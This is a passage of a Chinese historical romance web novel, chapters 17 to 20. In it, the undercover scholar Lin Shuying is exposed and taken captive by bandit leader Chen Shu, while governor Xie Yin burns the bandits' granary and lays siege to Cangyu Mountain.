见那人似乎有了松动,葛根继续道,“没事,若是有人见了,或者出什么事了,我便站出来,担下一切。是我思念心重,爷,您就行行好吧。”
“当真是玩具?”那人试探道。
“若是有假,我便五雷轰顶。”葛根忙上前保证。
他经常跟着主子,处理些风月往事,实则就是让那些接触过谢寅的女子闭上嘴,把谢寅没有碰过她们的话憋进肚子里。
不过他也见识了不少男人冲青娥的花娘这样发誓保证,情急之下,他便直接搬过来了。
“也不是不行,就是得等晚上我换班的时,我有一个七八岁的闺女,若不是陈兄收留了我们一家子,估计早就家破人亡了。”他拍拍葛根的肩膀,在他耳边说道。
他看着眼前妻离子散的人,着实可怜,若是陈兄,相必也是会满足这人小小的要求的。
“那自然,多谢这位兄台。”葛根行礼。
这天晚上,葛根在两人约好的地方等他去,就见这人丢给他一套自己的甲胄,“穿上。”
“好。”葛根穿上,随这人走。
他并不能确定此人真的会带他走,因而在衣裳里藏了一把小刀,以备不时之需。
可这一切却出奇地顺利。
葛根推开那扇门,悄悄进去,端起窗台上的烛台,俯下身,借着微弱的烛光摩挲,竟然看到了一屋的粮草。
烛台被递进到垒得高高的粮食上,微黄的烛光照亮一堵巨大的墙壁,葛根恍然大悟,“沧隅山应该是一段时间运一次粮,为流民安置山中住所,是为了存放新一批粮食。”
他小心地摸索着地上的东西,拿了便蹑手蹑脚地出了门。
那人并未整幺蛾子,倒是葛根揣着一肚子谨慎。
他生怕被人发现,不敢耽误,偷摸潜入林疏影房中,就见她正孤身立于月光下,柔和的光晕开一抹淡淡的身影,带上了与她一致的清冷之气。
“可有眉目了?”林疏影背后似长了眼睛一般。
葛根便如实将自己所见所想一一道来。
“不错,只要谢寅能围住山,再烧了山上的粮草,沧隅山便不攻自破。”她摩挲着明玕。
她果然猜对了,昨日已经将消息传给他了,算算时间,明日也该回了。
那抹清冷转瞬即逝,她身上多了几分亲切,葛根怀疑起自己的眼睛来。
“可,若是陷阱呢。”葛根到。
这一切未免太顺利了些。
17. 第 17 章
谢寅独自回了县衙,长煊去安顿士兵,便自己处理伤口。
若是长青、长煊在时还好,若这些近侍不在,他极不愿意旁人靠近自己,不管是贴身服侍,还是处理伤口。
这本是为防备士族的,没成想却养成了习惯。
他拿出谢夫人为他准备的纱布,仔细看着布条的纹理,这还是他经常用的那个。
母亲大概是这个世界上最在乎他的人了。
当初,父亲不顾及他的意愿,让他读经书,而后又要裹挟他拜师陆大人,只有母亲在乎他内心的真实想法。
无论是权力还是经书,他都提不起兴趣,不过若是在盛世,他便有理由退下,但现在的大夏早已经被蛀虫啃食得七零八落,他不能走。
陆大人要扶大厦之将倾,他是大夏中兴里极为重要的一环。
血了结痂,衣服与伤口相互牵扯,他小心扒下里衣。
少时练功,这些伤就是家常便饭,后来因士族把控朝堂,这才装成士家娇贵公子哥,装成了舞不动刀枪的花瓶,连带着肤色也养得白皙了不少。
如今白嫩的皮肤上多了块狰狞的伤口,血肉外翻,流出来的血结痂成暗红色,血沾染得到处都是。
他背着光,高大的身躯在光影下发着光,一只手勉强用绷带缠绕住伤口,包扎的不紧不松刚刚好。
果然,虽然经历了养尊处优,但他还是成不了公子哥。
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长青自庆功宴半夜听了哨声,便从离林疏影不远处的树上醒来。
他强忍着脑袋的坠重,看着月亮愣神好一会,便不再拖泥带水,迅速爬起来。
无论是谢寅还是林疏影,这两个都不是好伺候的主。
这还没三更吧...
看着林疏影疲倦的眼神和桌子上混乱的笔墨,他顿时打消了先前的念头。
这封信肯定很重要!
也顾不得想什么了,他收好信,循着流民上山的路赶往庆阳。
他火急火燎地,至鸡鸣时,方到了县衙。
长青不在,自然是长煊一人在夜里值守。
他们这些近侍睡觉极好,就算是靠着一根木桩,也是能小憩片刻,但哪怕是周围地一点风吹草动,都能察觉到。
长青只想着信件着急了,便没提前告知长煊,直接推门而入。
“吱呀”一声,暗处的长煊便拨开眼前的树枝,盯着那和黑影。
他忽而觉得这人背影有些熟悉,但深夜来访,多半是刺杀。
思及此,他动作轻快,跟到那人身后。
长青进了屋,就见主子身上绑着的绷带,没敢搅扰了主子多日来的清梦。
况且也天将明了,主子也快起身了,也不急于一时。
他便蹑手蹑脚地把信件放在了书案上,正要转身便被一人敲晕。
在他软倒在地上时,强撑着回头看了一眼那人。
到底是谁这么不知好歹,竟然敢阻拦他送信...
然而,当他那双眼睛对上再熟悉不过的一张脸时,无语到翻了个白眼。
长煊被那张同样熟悉的脸吓住了,这往后得讹上他了。
趁一切还有转圜的余地,他便一把揽起地上的人,在谢寅冷眼里出了房门。
谢寅冷眼旁观这两兄弟的互殴,忽然觉得这两人蠢透了。
当时是怎么从百十个小斯里挑的这两兄弟来着...
他扶额叹气。
虽嫌弃这两人疑神疑鬼扰了他清梦,但他抬眼盯着桌案上的信。
鬼使神差地起身,拿起来仔细读。
他摩挲着纸上早已经干透的墨迹,披散的头发打到纸上,半天扯出一个笑来。
林疏影...
继而,他用手盖住眼睛,把信丢到桌子上。
不过就是肉身饲虎,以身入局而已,他怎的如此担心这人?
况且,林疏影的境遇比不得他四面受敌,处处受限,难不成是他是习惯了?
他慢慢捂住胸口,那里面似有什么想要冲出胸膛的东西,虽说这自己的境遇更难些,但他心里杂乱无比,桩桩件件都与林疏影有关。
初见那日,他虽然无权无势,却懂得审时度势,知晓如何保全自己;青娥那日,他虽有过妥协,但是坚守自己的底线;赶往庆阳那日,他策马奔驰,碎发轻抚着泛红的脸颊;庆阳酒楼,他乖巧得像个兔子似的,结果却主动请缨前往贼窝;沧隅山那日,他一身盔甲立在晨光里,临危不乱,招式有些生疏,却是不错...
仔细想来,表面虽然无害乖巧,其实对自己的处境门清,知晓要做什么,无论做什么都尽心尽力,倒是很可爱。
他到了庆阳之后,县令也给他找过许多美人,可他总是不喜欢,就如在京城里一般,不过在这里更省事些,他连装都不用装。
要说这林状元与那些士族送来蛊惑他的美人小倌不同的地方,大概就是那一身清风傲骨了。
他放下手,侧身立在窗边,看着泛着微黄的窗纸,嗤笑一声,没想到自己会因为一个人纠结。
而且,我不是断袖啊。
在意味深长地吐出一口气后,他摇摇头。
为情所困实在不是他的风格,便不再多想。
既然已经知晓粮仓位置,那就要加快进程了。
等人回来了,再说吧。
若唐其昌时士族的人,那么,等剿匪之事成功,有了十足的证据来证明冯齐擅用职权,居心叵测,那他们可就要灭口了,那时候也是辨明此人身份的好时机。
*
谢寅行事向来谨慎,能抓住的机会就一定不会放过。
先前他抄冯家的威势还没过,此次他受伤,自然也没多少人来看望,不过他也乐的清闲。
但很快,他便察觉,有人故意集结庆阳县官,这是要架空他的权力的架势。
“啧”,谢寅顿觉这人有一丝的急迫,为了阻挠他剿匪,这立场表现地太过鲜明了些。
不过他早已知晓匪寇弱点,只要一击即中,那么那些匪寇便溃不成军。
等将被驱赶到沧隅山的百姓解救出来,那冯齐的罪名落了实,便可以顺势上报皇上,抄了冯家。
那些人恐怕为了保住自己的利益,会立刻找人灭口。
不管是谁去灭口冯齐,他都能揪住线索。
他思索间,已有了想法,便唤长煊进来。
“主子,有何吩咐?”
“庆阳官兵都已经复位了?”谢寅淡淡道。
是了,庆阳官兵是长煊在出站前一天夜里秘密调换的。
就是为了保住京城军队的实力,同时迷惑庆阳众人的手段。
“已经安顿好了,也堵住了每个人的嘴。”他忙活了足足有半天的时间,才将一切安排好。
“那便好,整顿京军,今日便剿了沧隅山。”谢寅不痛不痒道。
越早解决沧隅山匪患,便越早能够回京。
但只要他显露锋芒,就一定会引起京城士族的怀疑,到那时候回京就是群狼环伺。
“可…我们昨日才出兵,您的伤…”长煊抬眼仔细观察着谢寅的神色,小心说道。
“无妨,小伤,你找人撰写一篇本总督试要一雪前耻的文章,于出站前,在官兵前诵读。”
“妙啊,这样既可以瞒过那些人,又能鼓舞士气,总督英明!”长煊恍然大悟一般,行礼退下,去准备出兵了。
“等会,着什么急。”谢寅叫住一脚跨过门槛正要出去的人。
“总督,还有何吩咐?”长煊收回腿,行礼道。
“我看徐道州不错。”
长煊应下,看来,主人是要重用徐道州了。
“对了,还有让长青去掐着出兵的时间点,烧了沧隅山的粮仓。”他补充道。
他手上撵着林疏影的信,垂眼看着那熟悉的字,似在回味着什么。
长煊应下,他看着主子嘴角那一抹笑,突然发觉自从到了庆阳后,主子似乎笑得多了起来,真是奇怪,到底是因为没了谢大人,还是没了士族的胁迫?
他只敢妄加揣测,没有多问,行礼退下。
待长煊安排好一切。
谢寅穿戴好盔甲,策马在前,威风不减,而他身后的士兵本就士气振奋,再加上那篇文章,军心齐整,更是锐利不少。
连着两次出兵,且仅仅间隔了两天,弄得众人都不明所以。
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最后只得草草归结道。
谢寅其人急功近利,某些人也乐见他再次溃败。
此次直取沧隅山,谢寅事在必得!
*
却说,葛根去沧隅后山小屋,确是有人故意为之。
林穷对林疏影始终心怀芥蒂,便暗中观察此人行踪。
果真让他逮到了机会,这人竟然光天化日地找了一个人。
他两头监视,随后,这人竟询问起后山来。
后山是沧隅山的命脉所在,林疏影的心思昭然若揭。
他甚至暗中减少了后山巡逻的守卫,就是等这人露出马脚,抓她个措手不及。
果然,次日清晨。
林疏影前往沧隅山寨子大堂,本想得个职位。
不曾想,却看见了被压在地上的葛根。
她镇了镇心神,昨日的不安这么早就应验了。
大堂外重兵把守,她逃不掉的。
“此人,便是林疏影的人,二人私下勾结,意图窥伺沧隅粮仓,这不是间谍,还是什么!”
林穷挥袍,语气铿锵。
刘永兰静立在一旁,静静看着这一切,无论此时发生什么,似乎都影响不到他的情绪,这一切好似在他预料之中一般。
其余的人本事打着看热闹的态度,结果主人公确实自己前几日恭维的林疏影,林穷其人抠门记仇,谁要是被他盯上了,那才是真的要命了。
林疏影虽有个状元的名头,但后山重要之处人尽皆知,这人又是刚来的,没有人愿意为他趟浑水。
现在他们只能在心里默默祈祷,林穷不要咬上自己了。
林疏影深吸一口气,挺起胸膛,既然躲不过,那就赌一把!
她似看不见投来的异样的目光一样,她每走过一处,站在一旁的人都要再往墙角靠靠,直到挤得里面的同僚翻白眼了才罢休。
墙倒众人推,到了哪里都是一样的。
“陈兄,我若是间谍,那我为什么与那谢寅一战?这不是自露马脚吗!”林疏影扑通一声跪下。
不到最后一刻,她是绝对不会承认的。
她将满是汗的手心扑到衣服上,好遮盖她唯一露出来的胆怯。
虽然内心乱成一团麻,但她还是努力找出清晰的思路来。
这人虽说揪住了把柄,可也没有具体的证据。况且,他们以为只有她二人谋划…
只要能多脱一时片刻,就能为长青争取到些许时间。
那封信送出许久了,谢寅也该准备好了吧。
他会来救我吗?
在这危急的一刻,她的脑海里就竟然都是那人为她准备衣服、给她玉佩的模样。
她稳下心神,收拢回最后一丝游离的神,集中全部精力来应对这个劲敌。
“狼子野心,陈兄,此人心怀不轨,人尽皆知啊。”林穷皱眉。
陈述闻言,眼神复杂地看向这个曾经再自己面前谦卑无比,甚至得到了妻子为他站立场的人。
这样好的谋士,他不忍心,但若是真是大夏的奸细,他又怎么能把这一整山的人置之度外!
这些可都是陪着他出生入死的兄弟。
他知晓,林穷只有在十拿九稳的时候,才会站出来,表明态度。
这人十有八九是奸细。
手上的扳指有些限制,他摘下来,眼睛却一直盯着骄矜站立林穷与跪着的林疏影二人。
“如何?林兄不妨说一说,此人为何去后山?”林疏影凌厉的眼神向一边瞥那人。
丝毫不落下风。
“你二人早就谋划好的,我还有什么可说的?”他确实不占理。
二人没有传信做凭证,那东西他虽然搜出来了,却也是寻常小儿女的东西。
这林疏影年纪不大,心思倒是缜密。
陈述看着三两句就能把林穷的嘴堵上的人,他捏着眉心。
他虽赏识林疏影,可这人不为他所用,那有什么办法?
留着也是祸害...
“林穷,你说说,这人为何去沧隅后山?”他长舒一口气道。
然而还未等林穷说出口,便被一声急报打断。
“后山粮仓着火了!”
18. 第 18 章
大堂里乱成一片。
“赶紧去灭火啊!”刘永兰站出来,看着前来报信的人。
他最担心的事情还是发生了,本以为暗中看顾好着林疏影就行了。
现在看来,这人是做了十足的准备来的。
前几日的那场戏演得可真是好!故意把两人的不和展现出来,好让陈兄和他放下警惕。
一把年纪了,竟然还被这小毛孩子耍了。
那报信人有了命令,赶紧跑出去,许是太着急了,还撞上了前来的刘猛。
“干什么,慌慌张张的。”刘猛似一堵墙,死死堵住眼前这人的路。
他挪开了一边身子,让那人通过。
“我刚巡查完寨子外围,这是怎么了?”他看着眼前低声说话的人们,地上跪着林疏影和另一个人,又疑惑地看着高位的陈述。
“刘猛,寨子外围可有异样?”刘永兰忙问道。
如果这一切都是林疏影与谢寅设的局,那这时候,正是谢寅带兵攻打,剿灭沧隅的好机会。
“没有,一切正常,到底发生什么了?林状元为什么在地上。”刘猛本就愚钝一些,看着满堂的异样,还没有察觉出任何不妥,甚至还要上前扶起林疏影。
夫人对这人甚是关注,他既然受了夫人的嘱托,那可得照顾一下。
“他是谢寅派来的奸细,刘猛,你快些去集结兄弟们,让乡亲们收拾好,沧隅待不了了。”许久未开口的陈述,扯着有些沙哑的声音。
事情到了这个地步,就算是再糊涂,他也该看明白了。
现在想来,林疏影自来了沧隅,就一直在沧隅周围转,那次救下夫人定然不是巧合。
本想将这人关起来,等他真心归顺,这人家反手就把粮仓烧了,真是果断,也是再表明朝廷的立场。
他意味深长地叹气道,“来人,把林疏影带下去,关起来。”
若是这次沧隅山抵挡不住谢寅的攻势,这人是最后能牵制谢寅,给他们争取转移的底牌了。
刘猛眉毛一横,他不可置信地看着林疏影。
那人却没有给他正眼。
“夫人待你如亲生儿子一般,你竟然...”他不懂勾心斗角,但他知道要知恩图报。
林疏影一下子挣脱了士兵的控制,转身道,“陈兄,这人是谢寅的心腹,他的命比我更有价值。”她指着葛根。
这是她唯一能为葛根做的了。
而后,她又转头看着刘猛,“代我向夫人道歉,我很感激她。”
说完她嗤笑一声,夫人大概也会恨自己的。
或许,夫人还会因为帮她说了话,遭陈述白眼。
或许,她不该利用夫人对她的怜悯的,她不该的...
“你...”刘猛冲陈述行礼,甩了一下披风,转身出去了。
一眼没给林疏影。
那日,夫人宴请林疏影,是谢她救命之恩,表面上大家都传,夫人慧眼如炬,这是在提醒陈述,这样的好料子,是需要重用的。
陈夫人平日里体恤下属,那可是出了名的,夫人站出来表态,也帮林疏影争得了不少赞同。
结果这人确是个白眼狼。
林疏影再次被两个士兵死死压着,出了这乱糟糟的大堂。
然而,就在众人心口的大石头落了地后,又一声急报。
众人听了都一激灵。
“报!谢寅带了所有精兵,围了沧隅,线下,一个苍蝇都飞不出去。”
林穷正好靠着个柱子,听了这消息,用力地拍了拍一下。
大堂再次乱成一片,甚至又胆小的已经开始劝降了。
“陈兄,我们还是投降吧,这...这谢寅是京城总督,只要我们与他说好,说不定,朝廷能给我们一条生路啊。”邹奇打着发颤的腔调。
许多人仍旧在观望,他们在等陈述的话。
“邹奇,兵临山下,你说这些,是存心涣散士气吗。”林穷咬着牙。
沧隅山繁盛时,这人作威作福,等到谢寅围困了,第一个站起来投降。
“哼,你也不想想,你的吃穿哪一个不是百姓给的,你现在的做法是忘恩负义!”林穷站出来,指着他的鼻子骂。
况且,谁人不知大夏朝廷的嘴脸,朝令夕改也不是没有,朝廷上下净是贪官污吏,就算他们被招安了,那些人也容不下他们。
投降这一路是死路。
“现在粮仓被毁,山上的吃食能维持一个月吗?就算可以,他谢寅围得死死的,早晚也得把我们耗死!”邹奇振振有词。
“行了,你若是要投降,你大可以去,跟着我的兄弟们,我可以保证,只要我又一口饭吃,就少不了你们的。”陈述冷哼一声,他把手背到身后,看着这些曾经与他出生入死的兄弟们。
这次在沧隅山待得有些久了,人啊,一旦习惯了安逸的生活,谁又会再想经历风雨。
还会有多少个邹奇,他不知道,但他知道自己一定会走到最后。
自从父亲被莫名指上贪污的帽子,陈家上下被人追杀,陈家淹没在大火里后,这一切都让他会不了头了。
父亲一声廉洁,却遭到这样的下场。
世道不公,大夏给不了的公正,他就自己挣一个。
“我愿意追随陈兄,落在他们手里会有什么好结果,还不如有两天快活日子。”
“回去了,我还得继续服徭役,累死累活得为那些士族,不值得,不如跟着陈兄,起码不会被欺负。”
不少人开口,最后,孤零零得邹奇终于忍不住,“我...我也不是怕,我就是觉得一山的百姓不容许我们有什么闪失,既然大家都一心反抗,那是再好不过的。”他打着哈哈,给自己找了个台阶。
若是只有他一人去,那他可是什么都捞不到,甚至可能被谢寅猜忌的。
“好,林穷,你集合山上百姓和一众兄弟的家眷到后山。”陈述看着一帮与他同苦难的人,心下有了对策。
既然是大夏朝廷来,应该不会为难百姓,只要让兄弟们的家眷与这些百姓混在一起,充当庆阳的灾民,先躲过这一劫再说。
“永兰,你去与谢寅谈一谈条件,庆阳灾民,他们不会放任不管的。”陈述脱下身上的衣服,拿起一直摆放在大堂里的盔甲。
本来只是为了时刻提醒自己不忘初心,不沉溺于享乐的,没想到,有一天还用上了。
“可以带着人质,攻打沧隅山
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一事,林疏影是帮了他不少,两人之间的情谊应该不浅。”陈述自己整好盔甲。
“兄弟们,你们也听到了,跟着我,就是要这样时长担惊受怕,可能还会连累到妻儿父母,若是要走,大可以跟着百姓一块走,出了沧隅山,我就当再没你这个兄弟,你也可以与妻儿好好过一辈子。”
他眼神沧桑,这些年,不少兄弟为他的这番事业死去,身边的人走的走,老的老,眼下正是养精蓄锐的时候,又遭逢变故。
“若是愿意继续跟着我的,就穿上你们的盔甲,待把百姓送出去后,我们一起杀出去。”
陈述拿起靠在盔甲架子旁边的剑,他拔出剑来,刀锋里映照着他略显老态但决绝的脸。
无论成功与否,他会一直走下去。
他态度坚决,大堂里稀稀拉拉地走出去几个人,留下来的,眼一直盯着他举得高高的那柄剑。
“誓死追随大王!”
林穷喊出这一句,一呼百应,其余人扯着嗓子,紧随其后。
这么好一会,刘猛飞速地集结了沧隅山所有士兵到大堂前。
“大王,兄弟们都在这了。那两人我也压上了。”刘猛刚在堂外听了些。
这是朝廷在逼他们,逼他们反呀!
“好,随我去后山。”陈述收起剑,直奔后山。
后山地势和缓,是攻上山的最好的一条路,谢寅应该就在那里等着他呢。
--
谢寅此时,一身盔甲,眉眼间没了往日的轻佻,他坐于马上,看着大火冒出的烟沾满了沧隅山的小半块天空。
“林疏影呢?”他淡淡开口。
长青刚点完火,从沧隅山上下来,就被这么一问,“还在山上。”
“废话,我是问你他怎么样了,有没有暴露。”谢寅皱眉,斜睨着长青。
在这一刻,他真想把这人的脑袋掀开,看看里面到底有什么。
“这...属下这就去接应林参谋。”长青看着臭脸的主子,忙道。
沧隅后山重兵把守,他去的匆忙,逃得也匆忙,自然没顾上找林参谋。
不过,葛根在,加上林参谋的聪明才智,应该不会被发现的。
他虽然心里那么想,但也没敢耽误,三两下上了山。
谢寅盯着长青的背影,太阳穴直突突。
他皱着眉头,心里升起一丝不好的预感。
正愁眉间,他抬眼看见山上下来的人。
那人一身布衣,正值壮年,身子骨却比旁人瘦不少,宽大的衣服灌满了风。
“久闻谢总督大名,我是山上的谋士,此来是要与您商谈山上的百姓如何安置的。”刘永兰在谢寅面前不卑不亢,行礼,摆足了诚意。
谢寅没摆架子,他翻身下马,扶起来刘永兰,“客气了,既是为了百姓,我自然是会与你好好商谈。”
他想起来,林疏影在信里提过几次,这人看似好拿捏,实则笑面虎一个。
“请总督放过山上的百姓,先让他们下了山,我们再交战如何?”
时间紧迫,刘永兰没绕弯子。
“可以倒是可以,不过,我怎么知道那里面没有你的奸细呢。”谢寅扯着意味不明的笑。
19. 第 19 章
“我与这些人一起回去,若是有奸细,我以死谢罪。”刘永兰说得平淡。
不知道的恐怕以为,他这是在拿别人的命做抵押。
“好啊,长煊,这个人就交给你了。”谢寅留下一个淡淡笑。
这人还算有骨气,陈述找的人也不错嘛,陆老头子见了,肯定又要嚷嚷着收徒了。
刘永兰吩咐其他人先回去,将自己就在这里。
--
长青再回沧隅山,他顺着原路返回,还怕被人发现。
到了后山,才发现这里乱成一团,百姓们堵在了没有着火的一小片地方,吵吵嚷嚷。
他也不用再怕暴露,抓了两把地上的土就往脸上抹,混进了人群。
沧隅山到底是怎么了,为什么还往这满是烟尘的后山跑,他有些疑惑,但没有深究,他此来是来找林参谋的。
沧隅山除过后山运粮的必经之路没有陷阱,百姓居住的外围,陷阱颇多。
他不禁腹诽,设这么多陷阱,不怕把自己陷进去。
长青没敢乱走,只得顺着人潮,一点一点往前走。
他顺着记忆中的路线到了寨子的小屋里。
那些百姓都忙着收拾东西,这是...跟逃难似的。
是了,主子要攻打这山,无论如何,也不能牵连山上的百姓。
长青看着空荡荡的屋子,心下了然,他们这些人应该在大堂里商议如何应对,林参谋应该就在那里。
长青不再愣神,往大堂走去,然而,依旧是空无一人。
为何?百姓若是要下山,去了后山,沧隅山的寨子前有精良的武器,这些人不在这里死守,还能去哪里?
他抓了抓脑袋,忽然看见大堂角落里闪着光。
明玕?
长青拿起来地上的东西。
难道林参谋暴露了?
否则为什么会连这个都丢在这里。
验证了心中的想法,他也不再犹豫,顺着原路返回,将山上情况尽数告诉谢寅。
“啧,留着你们有什么用!”谢寅冷眼看着两人。
转头又看向刘永兰,“林疏影在哪!”
他心里发慌,那颗不曾如此剧烈跳动的心让他烦躁不止。
此时,他脑海里只有一个念头——林疏影必须活着。
不管是为了师父的计划,还是为了...
“抱歉,总督,这不是我的任务范畴,不过,现在山上乱成一团,也没人有时间去折磨他。”刘永兰往后退一步。
看来,林疏影果真是这人的心腹,可惜,发现得太晚了,若是早一点,说不定还能灭了谢寅的精锐,一路向西直取京城!
谢寅冷哼一声,压下心里的不安,又看向沧隅山。
百姓在林穷的安排下,终于下了山。
不少孩子哭累了,趴在母亲肩头打嗝。
“看好这些人,里面的流民是彻底扳倒冯齐的证据。”他吩咐着长煊。
长煊应下,带着一批人马护送百姓回庆阳。
处理好这些,谢寅愁眉不展,仍死盯着山上。
此时,烟雾散去,山上的人也愁眉不展。
“大王,粮食都...都烧了。”刘猛带人灭了火,好不容易火灭了,他去里面清点。
“纵火人在里面撒了煤油”
刘猛刚想解释,却被陈述打断,“只能带着兄弟们冲下去了。”
林穷提着衣服,穿过余烟,将刘永兰的遭遇讲清楚了。
“永兰自己有打算,我们出去往西南走,那里群山遍布,只要我们进了山,这些官兵就无可奈何了。”
“好,正好让行牧来接应。”陈述摩挲着手上的扳指,不知这位老友能否再帮自己一次。
林行牧是现任巴郡太守,他二人一起长大,可终究因为志向不同,走了不同的路。
还记得分别那天,二人对彼此承诺,要在各自所在的领域顶峰相见。
却不想再见,确是在巴郡的衙门上,一个在上审判罪行,一个累累罪行等待被判决。
若是没有年少的一段情谊,他可能早就死在断头台上了。
上一次遇难,他尚且能够把我救下来,这一次呢...
他再次抬头看着不远处的余烬,又转头看着兄弟们视死如归的神情。
是了,这是他唯一的退路了。
“刘猛,你集结兄弟们,安排好阵型,把所有能拿走的武器都拿上,尤其是弓箭。”陈述没有时间优柔寡断了。
“林穷,你把那林疏影和葛根压过来。”
二人得了命令,没敢耽误片刻。
林疏影本在被压去沧隅山的大牢,却被人半路截了胡,她听着来人的话,隐约猜出了什么。
谢寅应该已经围住了沧隅,他们现在估计就要用我来威胁他。
不过,像他那样的人,连自己都能都不在乎,还会关乎一个无名小卒的死活吗?
林疏影不禁嗤笑一声。
她没选择陈述,不知道是福还是祸。
天下相争,得民心者胜算方能多些,然而从这一个角度来看,大夏是有心力不足啊。
她被压着走出了昏暗的牢房,往外走,锅碗瓢盆乱了一地,百姓精心打理的菜园子早就被践踏地不成样子。
“我的选择是正确的吗?”
林疏影不禁喃喃自语,一地狼藉不言而喻。
“说什么呢,别愣着了,快些走,大王还等着你呢。”那人使劲扯着绑在林疏影身上的绳子。
“嘶-”林疏影忍着疼,被迫加快了脚步。
这场戏接近尾声,谢寅费了心思才把庆阳肃清,士族的爪牙算是砍去了一个。
就剩下沧隅山了,她没有理由现在反悔。
“林状元,你对朝廷这么忠心,不如,我给你讲个故事吧。”陈述坐在小土坡上,气势丝毫不减,就像他还坐在大堂之上。
林疏影挣开绳子,看着陈述。
这人要耍什么花样?
“讲什么故事?”她活动着被红肿的手腕。
“你那日说我的口音像巴郡的,就像你所猜想的,我和你一样,都是从群山环绕的地方走出来的,只不过我们走的路不一样而已。”陈述把手搭在膝盖上,咧嘴一笑。
他总觉得林疏影有些熟悉,但他之前又从未见过
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这人。
林疏影看着不远处集结的士兵,和乱堆放的武器,“我以为,陈兄没有时间在这里讲故事了呢。”
“巴郡的上一任太守,因为贪污而被朝廷秘密灭门,刑部尚未动手调查,罪人就已死无对证了。”陈述没有理会林疏影的语气。
他平淡地描摹着一个血腥味十足的画面。
林疏影一听着巴郡二字,就盯着陈述,他姓陈。
那他是陈氏惨案的受害人之一?
他和我爹年龄差不多,比陈姨娘稍大些,难不成,他就是那个陈氏的公子?
不可能啊,当年的状况,能逃一个陈姨娘就已经是万幸。
况且,士族怎么会留下祸患呢!
林疏影一只手捏着另一只被绑红的手腕,不自觉加重了力道。
疼痛把她拉回现实,她看着眼前的人,与记忆里陈姨娘那张脸慢慢重合。
“可我爹一生清廉,哪里做过什么敛财伤人的事,那日夜里,我爹跪下来求他们放过我和妹妹,却被那官兵一刀毙命,血溅到躲在柜子里的我的脸上。”
陈述隐忍着怒意,他从没奢望过什么,只求这一辈子能和爹娘妹妹好好地生活。
而朝廷却盯上了他们陈家。
爹明明什么都没有做,他不曾接受士族的贿赂,不曾与他们狼狈为奸。
可就是这样,就是什么也没做,所以才是最大的错误!
他握紧了拳头,平稳了气息,接着讲述,“大夏早就不是之前的大夏了,大夏是被士族蛀虫们争抢而食的大夏,林状元,你看这天。”
陈述指着乌烟瘴气的天空,“烟会散去,但大夏的天,自上而下,由内到外的黑气早就散不尽了,这样的朝堂,还值得你效忠吗?”
林疏影顺着他的手看过去,心里一紧。
她怎会不知大夏的处境,怎么不知士族横行霸道,怎么不知...
母亲为了陈姨娘查这陈氏旧案,连命都丢了,她怎能不恨。
但他们选择的路不同。
“现在的不值得,但未来的不一定不值得。”林疏影眼里闪过一丝光亮。
陆大人为中兴大夏力排众议,冲破士族的限制,不断为朝堂输入新鲜血液,甚至还私下里培养了谢寅这么个武将。
他的学生遍布大夏,为民谋福者不在少数,只要有这些人在,大夏哪里无可救药了。
“顽固不堪,跟那个死脑筋一样,认准了就再也不回头了。”陈述捏着眉心,他苦口婆心想挖了朝廷墙脚,结果却是踢到铁板了。
这样的性子,突然让他想到多年前,那个一心读书考功名的人。
现在,行牧也坐上这个太守的位置了,也不知道,他能不能保全自己。
“既然你想要飞蛾扑火,我也没什么好说的了,不过,你要是想来我这里,我也随时欢迎。”陈述摆出一个笑来。
朝廷现今的状况,哪里容得下林疏影这样的人存在。
等到士族们动手了,那时候他也该明白,大夏已经穷途末路,只剩下推翻重来这一条了。
陈述站起身,长舒一口气,“来人,把林状元好生绑起来!”
20. 第 20 章
日头上来了,虽是春天,但仍扰着谢寅的心。
他紧握着明玕,翻身下马,“长青,你再与我说一遍山上的情况。”
百姓的事情解决了,他便没有任何顾虑了,眼下,要救出林疏影就只能攻山。
他为什么会着急,见不到林疏影,他居然会着急。
手里的明玕似乎还有那人的余温,他慢慢把哨子放在唇边,感受未尽的温热。
是真真切切的温热。
听完长青的话,他思索了一阵。
既然他们不下来,那我就上去。
“长青,你知晓上山的路,带一小队人马从沧隅山正山前上去,隐蔽些,别让他们发现。”
“你此去就是要看顾好寨子前的武器,顺便堵住他们的退路。若是他们改为从山前逃,就派人告知我,然后尽全力拦住他们,拖到兄弟们来。”谢寅走上前,拍拍长青的肩膀。
无论是长青还是长煊,他们虽在平时出过岔子,但只要到了正事上,是最让他放心的。
谢寅欲言又止,把话咽下去了,却又开了口。
“记得留意林疏影,能救下来的话就把她带回来。”
他自己也弄不清心里的悸动是为什么,但他想要压下来,尤其是眼下这样的局面。
但为什么要苦苦压抑?
林疏影,你可得活着等我把你救出来!
谢寅收起明玕,看着已经有些疲乏的兄弟们。
“大家歇息一会,不过,把盾牌放在一边,记得随时防备山上的箭羽。”
待会儿,山上的人定会利用地势来放箭,他需得做好万全的准备。
山上虽然没了粮仓,但百姓家里应会有余粮,他们既然不下来,那我就等你余粮耗尽。
而后,谢寅又吩咐随军的厨子烧火做饭。
不一会儿,便香气四布。
待士兵们吃饱喝足,谢寅挑出几个嗓音大的。
“你们几个,去半山腰上喊‘主动投降的,赏一碗白粥。’”谢寅勾起一抹不怀好意的笑来。
既然不肯下来,那我就号好好招呼招呼你们!
随后,他又让一小队人马去搜查山周围,把陷阱都踩出来,为攻山做准备。
如果这些人真想逃,那就得速战速决,估计过不了一会儿,就会出现了。
--
山上的林疏影被捆在一棵树上,她尝试几次,来回上下移动,想要把绳子磨破,奈何绳子太结实。
她额头上直冒汗,绳子才裂开一个小缝隙。
趁着休息的时间,林疏影观察着四周,刘猛在规划战术,林穷在搜集粮食。
山上的粮仓没了,他们坚持不了太久,应该会速战速决,估计也会用我来打前锋或者垫后。
这次,是要拖谢寅后腿了。
不过,他应该拿到了明玕了吧,希望他能尽快端了沧隅山。
林疏影突然觉得自己的想法很好笑,他连自己都能豁得出去,还会在意自己的死活吗?
她也是糊涂了,觉得自己会让谢寅犹豫不决。
先前种种,无论是在青娥的调戏,还是山前叫阵的狠话,还是那封“情意绵绵”的信,不过都是这场戏最必要的一环。
想来,这人也没有什么必要救她。
思及此,她心里莫名有些痛。
但现在,她连捂住胸口来缓解疼痛的机会都没有。
把希望寄托在别人身上,终究会落空,倒不如自己搏一搏,兴许还有活路。
也算经历过生死,不枉活着一次。
林疏影收回目光,看看自己周围,终于在视线内看到了个石头。
再三确认周围没有人顾得上她,这才慢慢挪动身体,向一边靠,借着倾斜的身体,她使劲把手往外伸。
胳膊被磨出了红痕,她似乎不知道疼痛一般,那起石头。
这时,粗壮的声充斥在沧隅山每个角落。
林疏影停下手里的动作,藏好石头,竖着耳朵捕捉——投降、白粥。
